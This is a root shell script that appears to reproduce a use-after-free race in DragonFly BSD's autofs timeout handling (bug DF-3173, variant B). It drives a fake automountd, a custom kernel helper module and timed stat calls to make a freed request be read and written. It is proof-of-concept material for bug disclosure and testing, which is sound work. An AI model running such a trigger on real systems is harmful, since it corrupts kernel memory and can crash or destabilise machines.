#!/bin/sh
# runB.sh — DF-3173 variant B (UAF): the home queue's runner has already
# DEQUEUED the timeout task (ta_pending==0, home tq_running==task) when
# the last releaser frees on the wrong CPU; taskqueue_drain_timeout()
# compares the WRONG queue's tq_running, returns without waiting, and
# objcache_put() frees the request while autofs_task() is still parked
# on sc_lock / executing on it:
#   - AUTOFS_WARNING prints ar->ar_path from freed memory
#     (read-after-free; shows the marker planted by the getter);
#   - ar_error 0 -> ETIMEDOUT(145) written into the freed object after
#     the free (WRITE-AFTER-FREE, observed via same-magazine re-get).
#
# Choreography as run.sh but: spinner ends at T0+1.06 (task dequeued
# then), a module hold thread parks autofs_task on sc_lock
# T0+1.00..1.07, and the fake automountd answers at T0+1.075.
#
# Run as root on the DragonFly guest.  EXPECTED (unpatched):
#   "DF3173:   MARKER[..] obj=... (request was ...) SAME-BLOCK e0=0"
#   "WARNING: autofs_task: request N for ZZZZZZZZZZZZZZZZ timed out ..."
#   "DF3173:   MARKER[..] readback e=145 ... <== WRITE-AFTER-FREE"
set -x
umount -f /df3173_mp 2>/dev/null
kldload autofs 2>/dev/null
sysctl vfs.autofs.timeout=1
sysctl vfs.autofs.retry_attempts=2
sysctl vfs.autofs.retry_delay=1
sysctl vfs.autofs.interruptible=1
sysctl vfs.autofs.cache=0
sysctl vfs.autofs.debug=1
mkdir -p /df3173_mp
mount_autofs -f df3173 "" /df3173_mp
mount | grep df3173_mp

/root/poc/df3173/fake_daemon3173 1200 >/tmp/df3173_daemon.log 2>&1 &
DAEMON=$!

kldload /root/poc/df3173/df3173_race.ko
sleep 1
sysctl debug.df3173_mode=2

prev=0
end=$(( $(date +%s) + 180 ))
while [ $(date +%s) -lt $end ]; do
	r=$(sysctl -n debug.df3173_round)
	if [ "$r" -gt "$prev" ] 2>/dev/null; then
		prev=$r
		key=$(sysctl -n debug.df3173_key)
		/root/poc/df3173/pending_stat /df3173_mp/$key 850 \
		    >/dev/null 2>&1 &				# creator
		P=$!
		while [ "$(sysctl -n debug.df3173_stage)" -lt 1 ]; do
			sleep 0.02
		done
		stat /df3173_mp/$key >/dev/null 2>&1 &		# releaser
		wait $P 2>/dev/null
	fi
	sleep 0.05
done
kill $DAEMON 2>/dev/null
dmesg | grep -E "DF3173|autofs_task" | tail -80
echo RUN-B-DONE
